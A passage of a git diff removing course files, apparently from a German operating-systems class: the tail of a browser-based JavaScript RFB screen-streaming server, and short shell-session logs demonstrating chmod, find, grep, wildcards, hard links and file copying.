-                const ady = Math.abs (r.dy);
-                if (r.w > adx && r.h > ady)
-                  {
-//                    pushRectSolid (r.x, r.y, r.w, r.h, 0xff0000);
-//                    fillRectBuffer (px0, r.x, r.y, r.w, r.h, 0xffff0000);
-                    const xx = r.dx > 0 ? r.x + r.dx : r.x;
-                    const yy = r.dy > 0 ? r.y + r.dy : r.y;
-                    pushRectScroll (xx, yy, r.w - adx, r.h - ady, xx - r.dx, yy - r.dy);
-                    scrollRectBuffer (px0, r.x, r.y, r.w, r.h, r.dx, r.dy);
-                  }
-              }
-          });
-        if (debugging)
-          console.log ("scrolling: " + scrollRects.length.toString ()
-                       + " rectangle" + (scrollRects.length == 1 ? "" : "s") + " detected");
-        scrollRects.length = 0;
-      }
-
-      function determineBackgroundColor (px, x, y, w, h)
-      {
-        const pixels = w * h;
-        const max_points = Math.floor (pixels / 16);
-        const points = max_points > 256 ? 256 : max_points;
-        const color = new Array (points);
-        for (let i = 0; i < points; i++)
-          {
-            const p = Math.floor (Math.random () * pixels);
-            const yy = Math.floor (p / w);
-            const xx = p % w;
-            const o = yy * wScreen + x;
-            color[i] = px[o];
-          }
-        color.sort (
-          function (a, b)
-          {
-            return a - b;
-          });
-        let background_index = 0;
-        let background_abundance = 1;
-        let i0 = 0;
-        let i1 = 1;
-        while (i1 < points)
-          {
-            if (color[i1] != color[i0])
-              {
-                const a = i1 - i0;
-                if (a > background_abundance)
-                  {
-                    background_index = i0;
-                    background_abundance = a;
-                    i0 = i1;
-                  }
-              }
-            i1++
-          }
-        const a = i1 - i0;
-        if (a > background_abundance)
-          background_index = i0;
-        return color[background_index];
-      }
-
-      async function updateFullRectangle (x, y, w, h)
-      {
-        if (w * h * 4 > 1024)
-          await pushRectTight (x, y, w, h);
-        else
-          pushRectRaw (x, y, w, h);
-      }
-
-      async function updateInnerStructureHorizontal (px0, px1, x, y, w, h, final)
-      {
-        // if (debugging)
-        //   console.log ("updateInnerStructureHorizontal: x = " + x.toString () + ", y = " + y.toString ()
-        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
-        const empty = new Array (w);
-        const pixel_unchanged = 0x01000000;
-        const same_color = 0x2000000;
-        let xx = 0;
-        while (xx < w)
-          {
-            let yy = 0;
-            let o = y * wScreen + x + xx;
-            const start_color = px1[o];
-            empty[xx] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
-            while (yy < h && empty[xx] & (pixel_unchanged | same_color))
-              {
-                if (px1[o] != px0[o])
-                  empty[xx] &= ~pixel_unchanged;
-                if (px1[o] != start_color)
-                  empty[xx] &= ~same_color;
-                o += wScreen;
-                yy++;
-              }
-            xx++;
-          }
-        let x0 = 0;
-        while (x0 < w && empty[x0] & (pixel_unchanged | same_color))
-          x0++;
-        while (x0 < w)
-          {
-            while (x0 < w && !(empty[x0] & (pixel_unchanged | same_color)))
-              x0++;
-            let x1 = x0;
-            while (x1 < w && empty[x1] & (pixel_unchanged | same_color))
-              x1++;
-            if (x1 < w && x1 - x0 < combine_rects_x_min_distance)
-              for (let xx = x0; xx < x1; xx++)
-                empty[xx] &= ~(pixel_unchanged | same_color);
-            x0 = x1;
-          }
-        let nothing_empty = 1;
-        for (let xx = 0; xx < w; xx++)
-          if (empty[xx] & (pixel_unchanged | same_color))
-            nothing_empty = 0;
-        // if (debugging)
-        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
-        x0 = 0;
-        while (x0 < w)
-          {
-            let x1 = x0;
-            if (empty[x0] & pixel_unchanged)
-              {
-                while (x1 < w && empty[x1] & pixel_unchanged)
-                  x1++;
-              }
-            else if (empty[x0] & same_color)
-              {
-                while (x1 < w && empty[x1] & same_color && (empty[x1] & 0x00ffffff) == (empty[x0] & 0x00ffffff))
-                  x1++;
-                x1--;
-                while (x1 > x0 && empty[x1] & pixel_unchanged)
-                  x1--;
-                x1++;
-                const start_color = empty[x0] | 0xff000000;
-                pushRectSolid (x + x0, y, x1 - x0, h, debugging ? start_color | 0x00ffff : start_color);
-                fillRectBuffer (px0, x + x0, y, x1 - x0, h, start_color);
-              }
-            else
-              {
-                while (x1 < w && !(empty[x1] & (pixel_unchanged | same_color)))
-                  x1++;
-                if (final)
-                  await updateFullRectangle (x + x0, y, x1 - x0, h);
-                else
-                  await updateInnerStructureVertical (px0, px1, x + x0, y, x1 - x0, h, nothing_empty);
-              }
-            x0 = x1;
-          }
-      }
-
-      async function updateInnerStructureVertical (px0, px1, x, y, w, h, final)
-      {
-        // if (debugging)
-        //   console.log ("updateInnerStructureVertical: x = " + x.toString () + ", y = " + y.toString ()
-        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
-        const empty = new Array (h);
-        const pixel_unchanged = 1;
-        const same_color = 2;
-        let yy = 0;
-        while (yy < h)
-          {
-            let xx = 0;
-            let o = (y + yy) * wScreen + x;
-            const start_color = px1[o];
-            empty[yy] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
-            while (xx < w && empty[yy] & (pixel_unchanged | same_color))
-              {
-                if (px1[o] != px0[o])
-                  empty[yy] &= ~pixel_unchanged;
-                if (px1[o] != start_color)
-                  empty[yy] &= ~same_color;
-                o++;
-                xx++;
-              }
-            yy++;
-          }
-        let y0 = 0;
-        while (y0 < h && empty[y0] & (pixel_unchanged | same_color))
-          y0++;
-        while (y0 < h)
-          {
-            while (y0 < h && !(empty[y0] & (pixel_unchanged | same_color)))
-              y0++;
-            let y1 = y0;
-            while (y1 < h && empty[y1] & (pixel_unchanged | same_color))
-              y1++;
-            if (y1 < h && y1 - y0 < combine_rects_y_min_distance)
-              for (let yy = y0; yy < y1; yy++)
-                empty[yy] &= ~(pixel_unchanged | same_color);
-            y0 = y1;
-          }
-        let nothing_empty = 1;
-        for (let yy = 0; yy < h; yy++)
-          if (empty[yy] & (pixel_unchanged | same_color))
-            nothing_empty = 0;
-        // if (debugging)
-        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
-        y0 = 0;
-        while (y0 < h)
-          {
-            let y1 = y0;
-            if (empty[y0] & pixel_unchanged)
-              {
-                while (y1 < h && empty[y1] & pixel_unchanged)
-                  y1++;
-              }
-            else if (empty[y0] & same_color)
-              {
-                while (y1 < h && empty[y1] & same_color && (empty[y1] & 0x00ffffff) == (empty[y0] & 0x00ffffff)) 
-                  y1++;
-                y1--;
-                while (y1 > y0 && empty[y1] & pixel_unchanged)
-                  y1--;
-                y1++;
-                const start_color = empty[y0] | 0xff000000;
-                pushRectSolid (x, y + y0, w, y1 - y0, debugging ? start_color | 0xffff00 : start_color);
-                fillRectBuffer (px0, x, y + y0, w, y1 - y0, start_color);
-              }
-            else
-              {
-                while (y1 < h && !(empty[y1] & (pixel_unchanged | same_color)))
-                  y1++;
-                if (final)
-                  await updateFullRectangle (x, y + y0, w, y1 - y0);
-                else
-                  await updateInnerStructureHorizontal (px0, px1, x, y + y0, w, y1 - y0, nothing_empty);
-              }
-            y0 = y1;
-          }
-      }
-
-      async function decomposeRect (px0, px1, x, y, w, h)
-      {
-        await updateInnerStructureVertical (px0, px1, x, y, w, h, 0);
-      }
-
-      async function rfbFramebufferUpdate (isIncremental, x, y, w, h)
-      {
-        if (debugging)
-          console.log ("rfbFramebufferUpdate: isIncremental = " + isIncremental.toString ()
-                       + ", x = " + x.toString () + ", y = " + h.toString ()
-                       + ", w = " + w.toString () + ", h = " + h.toString ());
-        let id1 = ctx1.getImageData (x, y, w, h);
-        ctx0.putImageData (id1, x, y, x, y, w, h);
-        const id0 = ctx0.getImageData (0, 0, wScreen, hScreen);
-        const px0 = new Uint32Array (id0.data.buffer);
-        ctx1.drawImage (video, 0, 0, wScreen, hScreen);
-        id1 = ctx1.getImageData (0, 0, wScreen, hScreen);
-        let px1 = new Uint32Array (id1.data.buffer);
-        if (!isIncremental)
-          {
-            const color = determineBackgroundColor (px1, x, y, w, h);
-            if (debugging)
-              console.log ("background color = " + color.toString ());
-            pushRectSolid (x, y, w, h, debugging ? color | 0x7f00ff : color);
-            fillRectBuffer (px0, x, y, w, h, color);
-          }
-        do
-          {
-            const length = px0.length;
-            let o = 0;
-            while (o < length && px0[o] == px1[o])
-              o++;
-            if (o < length)
-              {
-//                if (isIncremental && w >= scroll_detection_min_width && h >= scroll_detection_min_height)
-//                  detectScrolling (px0, px1, x, y, w, h);
-                await decomposeRect (px0, px1, x, y, w, h);
-              }
-            if (rects.length == 0)
-              {
-                await sleep (100);
-                ctx1.drawImage (video, 0, 0, wScreen, hScreen);
-                id1 = ctx1.getImageData (x, y, w, h);
-                px1 = new Uint32Array (id1.data.buffer);
-              }
-          }
-        while (rects.length == 0);
-      }
-
-      function rfbReceivePixelFormat (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: SetPixelFormat");
-        const b = new Uint8Array (buffer);
-        rfb_bits_per_pixel = b[4];
-        rfb_depth = b[5];
-        rfb_big_endian_flag = b[6];
-        rfb_true_color_flag = b[7];
-        rfb_red_maximum = b[8] << 8 + b[9];
-        rfb_green_maximum = b[10] << 8 + b[11];
-        rfb_blue_maximum = b[12] << 8 + b[13];
-        rfb_red_shift = b[14];
-        rfb_green_shift = b[15];
-        rfb_blue_shift = b[16];
-        return 20;
-      }
-
-      function rfbReceiveEncodings (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: SetEncodings");
-        const b = new Uint8Array (buffer);
-        const encodings = b[offset + 2] << 8 + b[offset + 3];
-        return 4 + 4 * encodings;
-      }
-
-      function rfbAbort ()
-      {
-        if (debugging)
-          console.log ("Aborting RFB transmission ...");
-        processing += rfb_aborted;
-      }
-
-      async function rfbFramebufferUpdateRequest (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: FramebufferUpdateRequest");
-        if (processing)
-          {
-//            if (debugging)
-              if (processing >= rfb_aborted)
-                console.log ("aborted");
-              else
-                console.log ("already being processed");
-          }
-        else
-          {
-            processing++;
-            let b = new Uint8Array (buffer);
-            let isIncremental = b[1];
-            const x = b[2] * 256 + b[3];
-            const y = b[4] * 256 + b[5];
-            const w = b[6] * 256 + b[7];
-            const h = b[8] * 256 + b[9];
-            if (debugging)
-              {
-                console.log ("FramebufferUpdateRequest: Initiating processing ...");
-                console.log ("wScreen = ", wScreen, ", hScreen = ", hScreen + ", w = ", w, ", h = ", h);
-              }
-            rects.length = 0;
-            if (processing < rfb_aborted)
-              {
-                if (isFirstFrame)
-                  {
-                    await rfbFramebufferUpdate (0, 0, 0, wScreen, hScreen);
-                    isFirstFrame = 0;
-                  }
-                else if (isIncremental)
-                  await rfbFramebufferUpdate (1, x, y, w, h);
-                else
-                  await rfbFramebufferUpdate (0, x, y, w, h);
-                if (debugging)
-                  console.log ("FramebufferUpdateRequest: Processing completed. Sending data ... ("
-                               + rects.length.toString ()
-                               + " rectangle" + (rects.length != 1 ? "s" : "") + ")");
-                const header_buffer = new ArrayBuffer (4);
-                b = new Uint8Array (header_buffer);
-                const num_rects = rects.length;
-                b[0] = 0;
-                b[1] = rfb_padding;
-                b[2] = num_rects >>> 8;
-                b[3] = num_rects & 0xff;
-                if (debugging)
-                  console.log ("sending rfbFramebufferUpdate header: " + buf2hex (header_buffer));
-                socket.send (header_buffer);
-                rects.forEach (
-                  function sendIt (r)
-                  {
-                    r.send ();
-                  });
-              }
-            processing--;
-          }
-        return 10;
-      }
-
-      function rfbReceiveKeyEvent (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: KeyEvent");
-        return 8;
-      }
-
-      function rfbReceivePointerEvent (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: PointerEvent");
-        return 6;
-      }
-
-      function rfbReceiveCutText (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: ClientCutText");
-        const b = new Uint8Array (buffer);
-        const length = b[offset + 4] << 24 + b[offset + 5] << 16 + b[offset + 6] << 8 + b[offset + 7];
-        return 8 + length;
-      }
-
-      function rfbServer (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        const b = new Uint8Array (event.data);
-        let offset = 0;
-        while (offset < event.data.byteLength)
-          {
-            if (debugging)
-              console.log ("received RFB packet type " + b[offset].toString ());
-            if (b[offset] == 0)
-              offset += rfbReceivePixelFormat (event.data, offset);
-            else if (b[offset] == 2)
-              offset += rfbReceiveEncodings (event.data, offset);
-            else if (b[offset] == 3)
-              offset += rfbFramebufferUpdateRequest (event.data, offset);
-            else if (b[offset] == 4)
-              offset += rfbReceiveKeyEvent (event.data, offset);
-            else if (b[offset] == 5)
-              offset += rfbReceivePointerEvent (event.data, offset);
-            else if (b[offset] == 6)
-              offset += rfbReceiveCutText (event.data, offset);
-            else
-              {
-                if (debugging)
-                  console.log ("unknown RFB packet");
-                offset = event.data.byteLength;
-              }
-          }
-      }
-
-      function rfbFramebufferHandshake (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbFramebufferHandshake);
-        socket.addEventListener ("message", rfbServer);
-        const buffer = new ArrayBuffer (24 + rfb_name_length);
-        const b = new Uint8Array (buffer);
-        b[0] = wScreen >>> 8;
-        b[1] = wScreen & 0xff;
-        b[2] = hScreen >>> 8;
-        b[3] = hScreen & 0xff;
-        b[4] = rfb_bits_per_pixel;
-        b[5] = rfb_depth;
-        b[6] = rfb_big_endian_flag;
-        b[7] = rfb_true_color_flag;
-        b[8] = rfb_red_maximum >>> 8;
-        b[9] = rfb_red_maximum & 0xff;
-        b[10] = rfb_green_maximum >>> 8;
-        b[11] = rfb_green_maximum & 0xff;
-        b[12] = rfb_blue_maximum >>> 8;
-        b[13] = rfb_blue_maximum & 0xff;
-        b[14] = rfb_red_shift;
-        b[15] = rfb_green_shift;
-        b[16] = rfb_blue_shift;
-        b[17] = rfb_padding;
-        b[18] = rfb_padding;
-        b[19] = rfb_padding;
-        b[20] = rfb_name_length >>> 24;
-        b[21] = rfb_name_length >>> 16;
-        b[22] = rfb_name_length >>> 8;
-        b[23] = rfb_name_length & 0xff;
-        for (let i = 0; i < rfb_name_length; i++)
-          b[24 + i] = rfb_name[i];
-        if (debugging)
-          console.log ("sending framebuffer parameters: " + buf2hex (buffer));
-        socket.send (buffer);
-      }
-
-      function rfbAuthenticate (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbAuthenticate);
-        socket.addEventListener ("message", rfbFramebufferHandshake);
-        if (debugging)
-          console.log ("sending: 00 00 00 00");
-        const buffer = new ArrayBuffer (4);
-        const b = new Uint8Array (buffer);
-        b[0] = 0;
-        b[1] = 0;
-        b[2] = 0;
-        b[3] = 0;
-        socket.send (buffer);
-      }
-
-      function rfbSecurityHandshake (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbSecurityHandshake);
-        socket.addEventListener ("message", rfbAuthenticate);
-        if (debugging)
-          console.log ("sending: 01 01");
-        const buffer = new ArrayBuffer (2);
-        const b = new Uint8Array (buffer);
-        b[0] = 1;
-        b[1] = 1;
-        socket.send (buffer);
-      }
-
-      function rfbConnect (event)
-      {
-        socket.addEventListener ("message", rfbSecurityHandshake);
-        if (debugging)
-          console.log ("sending: RFB 003.008\\n");
-        socket.send ("RFB 003.008\n");
-      }
-
-      document.addEventListener ("DOMContentLoaded",
-        function ()
-        {
-          video.addEventListener ("play",
-            function ()
-            {
-              wScreen = video.videoWidth;
-              hScreen = video.videoHeight;
-              canvas1.width = wScreen;
-              canvas1.height = hScreen;
-              ctx1 = canvas1.getContext ("2d");
-              canvas0.width = wScreen;
-              canvas0.height = hScreen;
-              ctx0 = canvas0.getContext ("2d");
-              ctx0.beginPath ();
-              ctx0.rect (0, 0, wScreen, hScreen);
-              ctx0.fillStyle = "black";
-              ctx0.fill ();
-              if (debugging)
-                console.log ("Opening WebSocket ...");
-              socket = new WebSocket ("wss://streaming.cvh-server.de/websock/wc-6/", ['binary', 'base64']);
-              socket.binaryType = "arraybuffer";
-              socket.addEventListener ("open", rfbConnect);
-            },
-            false);
-          video.addEventListener ("abort", rfbAbort, false);
-          video.addEventListener ("emptied", rfbAbort, false);
-          video.addEventListener ("ended", rfbAbort, false);
-          video.addEventListener ("error", rfbAbort, false);
-          video.addEventListener ("pause", rfbAbort, false);
-          video.addEventListener ("stalled", rfbAbort, false);
-//          video.addEventListener ("suspend", rfbAbort, false);
-        });
-
-    </script>
-  </body>
-</html>
diff --git a/20210416/.test.txt b/20210416/.test.txt
deleted file mode 100644
index dd38ed5746e36cb495b0589c1aad5b9965213322..0000000000000000000000000000000000000000
--- a/20210416/.test.txt
+++ /dev/null
@@ -1 +0,0 @@
-Punkt-Test
diff --git a/20210416/bs-20210416.pdf b/20210416/bs-20210416.pdf
deleted file mode 120000
index 8c56acec4932b053b63529036c18b1dbb3135e59..0000000000000000000000000000000000000000
--- a/20210416/bs-20210416.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/bs-20210409.pdf
\ No newline at end of file
diff --git a/20210416/bs-20210416.tex b/20210416/bs-20210416.tex
deleted file mode 120000
index 6b57f34c4e5e75807c4053795b915792fa52d043..0000000000000000000000000000000000000000
--- a/20210416/bs-20210416.tex
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/bs-20210409.tex
\ No newline at end of file
diff --git a/20210416/calculate b/20210416/calculate
deleted file mode 100755
index 6c1b049e082bb2e273ce8564aa1855a4e3d22a1e..0000000000000000000000000000000000000000
--- a/20210416/calculate
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/usr/bin/bc -q
-
-2 ^ 50 / 10 / 1000 / 1000 / 1000000
-
-quit
diff --git a/20210416/cd.. b/20210416/cd..
deleted file mode 100644
index a78009bddcd58844651bae68a847faa7a88b16ff..0000000000000000000000000000000000000000
--- a/20210416/cd..
+++ /dev/null
@@ -1,3 +0,0 @@
-#pwd
-cd ..
-#pwd
diff --git a/20210416/chmod-1.txt b/20210416/chmod-1.txt
deleted file mode 100644
index 82cb694b3f2d06ea812ad0fb38c3bf7006320138..0000000000000000000000000000000000000000
--- a/20210416/chmod-1.txt
+++ /dev/null
@@ -1,11 +0,0 @@
--rwxr-xr-x 1 peter peter   16 Apr 16 14:20 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> chmod 750 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
--rwxr-x--- 1 peter peter 16 Apr 16 14:20 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> chmod 644 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
--rw-r--r-- 1 peter peter 16 Apr 16 14:20 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> chmod 660 cd..
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
--rw-rw---- 1 peter peter 16 Apr 16 14:20 cd..
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/find-1.txt b/20210416/find-1.txt
deleted file mode 100644
index d25cf3ecb6f4e00db781582781fb1bde4c8e0337..0000000000000000000000000000000000000000
--- a/20210416/find-1.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*.txt"
-./shell-scripts-4.txt
-./shell-scripts-2.txt
-./test-3.txt
-./shell-scripts-3.txt
-./symlinks-3.txt
-./wildcards-1.txt
-./wildcards-3.txt
-./shell-scripts-5.txt
-./shell-scripts-6.txt
-./hardlinks-1.txt
-./.test.txt
-./test/hello.txt
-./chmod-1.txt
-./wildcards-2.txt
-./hardlinks-2.txt
-./shell-scripts-1.txt
-./symlinks-4.txt
-./mount-1.txt
-./test-1.txt
-./grep-3.txt
-./grep-1.txt
-./symlinks-1.txt
-./symlinks-2.txt
-./grep-2.txt
diff --git a/20210416/find-2.txt b/20210416/find-2.txt
deleted file mode 100644
index d7ada2377c15702784a99f4441e28d2f6f180a91..0000000000000000000000000000000000000000
--- a/20210416/find-2.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> find . -name *.txt
-find: paths must precede expression: `find-1.txt'
-find: possible unquoted pattern after predicate `-name'?
diff --git a/20210416/find-3.txt b/20210416/find-3.txt
deleted file mode 100644
index 0f7d97e84cc857573d34ca0ce3ab56009ae806a9..0000000000000000000000000000000000000000
--- a/20210416/find-3.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name *.txt
-find . -name chmod-1.txt find-1.txt find-2.txt grep-1.txt grep-2.txt grep-3.txt hardlinks-1.txt hardlinks-2.txt mount-1.txt shell-scripts-1.txt shell-scripts-2.txt shell-scripts-3.txt shell-scripts-4.txt shell-scripts-5.txt shell-scripts-6.txt symlinks-1.txt symlinks-2.txt symlinks-3.txt symlinks-4.txt test-1.txt test-3.txt wildcards-1.txt wildcards-2.txt wildcards-3.txt
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/find-4.txt b/20210416/find-4.txt
deleted file mode 100644
index a37fc2419524f4210312f004311a4e408249f50a..0000000000000000000000000000000000000000
--- a/20210416/find-4.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*".txt
-./shell-scripts-4.txt
-./shell-scripts-2.txt
-./test-3.txt
-./shell-scripts-3.txt
-./symlinks-3.txt
-./wildcards-1.txt
-./wildcards-3.txt
-./shell-scripts-5.txt
-./shell-scripts-6.txt
-./hardlinks-1.txt
-./.test.txt
-./test/hello.txt
-./chmod-1.txt
-./wildcards-2.txt
-./find-1.txt
-./hardlinks-2.txt
-./shell-scripts-1.txt
-./symlinks-4.txt
-./mount-1.txt
-./test-1.txt
-./grep-3.txt
-./find-2.txt
-./grep-1.txt
-./symlinks-1.txt
-./find-3.txt
-./symlinks-2.txt
-./grep-2.txt
-cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name "*".txt
-find . -name *.txt
diff --git a/20210416/grep-1.txt b/20210416/grep-1.txt
deleted file mode 100644
index 22f5ddbcc91d31c3c94e5a56fe1b188b3416a47c..0000000000000000000000000000000000000000
--- a/20210416/grep-1.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
-hello.c:  printf ("Hello, world!\n");
-unix-20210416.tex:        printf ("Hello, world!\n");
-unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
-hello.c:  printf ("Hello, world!\n");
-test/hello.txt:Hello, world!
-unix-20210416.tex:        printf ("Hello, world!\n");
-unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/grep-2.txt b/20210416/grep-2.txt
deleted file mode 100644
index 289385dce7aed9ba4d32ef1388f5cc7e1b9a2cc5..0000000000000000000000000000000000000000
--- a/20210416/grep-2.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello .*
-./hello.c:  printf ("Hello, world!\n");
-./test/hello.txt:Hello, world!
-./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
-./grep-1.txt:hello.c:  printf ("Hello, world!\n");
-./grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
-./grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
-./grep-1.txt:hello.c:  printf ("Hello, world!\n");
-./grep-1.txt:test/hello.txt:Hello, world!
-./grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
-./grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-../20210416/hello.c:  printf ("Hello, world!\n");
-../20210416/test/hello.txt:Hello, world!
-../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
-../20210416/grep-1.txt:hello.c:  printf ("Hello, world!\n");
-../20210416/grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
-../20210416/grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
-../20210416/grep-1.txt:hello.c:  printf ("Hello, world!\n");
-../20210416/grep-1.txt:test/hello.txt:Hello, world!
-../20210416/grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
-../20210416/grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-../20210409/unix-20210409.tex:        printf ("Hello, world!\n");
-../20210409/unix-20210409.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-../20210409/hello.c:  printf ("Hello, world!\n");
-../20210409/shell-variables-2.txt:Hello, world!
-../20210409/shell-variables-2.txt:Hello, world!
-../20210409/shell-variables-2.txt:Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/grep-3.txt b/20210416/grep-3.txt
deleted file mode 100644
index ef1b9bcb456ddd649688ab35c9d0205f1e08b7e8..0000000000000000000000000000000000000000
--- a/20210416/grep-3.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> echo grep -r Hello .*
-grep -r Hello . .. .test.txt
diff --git a/20210416/hardlinks-1.txt b/20210416/hardlinks-1.txt
deleted file mode 100644
index 8409d2346d3e36524d80858a3c3adfe73638b194..0000000000000000000000000000000000000000
--- a/20210416/hardlinks-1.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ln test-2.txt test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 2 peter peter  7 Apr 16 12:30 test-1.txt
--rw-r--r-- 2 peter peter  7 Apr 16 12:30 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 2
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
-Test 2
-cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
-Test 1
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-1.txt
--rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/hardlinks-2.txt b/20210416/hardlinks-2.txt
deleted file mode 100644
index 4234e50e40d8e70d7c4b066619772ee03a030601..0000000000000000000000000000000000000000
--- a/20210416/hardlinks-2.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-1.txt
--rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-2.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416>
-cassini/home/peter/bo/2021ss/bs/20210416> rm test-2.txt
-cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
--rw-r--r-- 1 peter peter  7 Apr 16 14:47 test-1.txt
-lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
-cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/hello b/20210416/hello
deleted file mode 100755
index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000
--- a/20210416/hello
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-
-echo "Hello, world!"
diff --git a/20210416/hello.c b/20210416/hello.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210416/hello.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210416/mount-1.txt b/20210416/mount-1.txt
deleted file mode 100644
index 07569eed45c93309e18b24047b6ede82cc6e572d..0000000000000000000000000000000000000000
--- a/20210416/mount-1.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210416> ls -lh ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4
--rw-r--r-- 1 peter peter 155M Mai 20  2019 '/home/peter/Www/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
-cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb
-usb/  usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/
-cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb
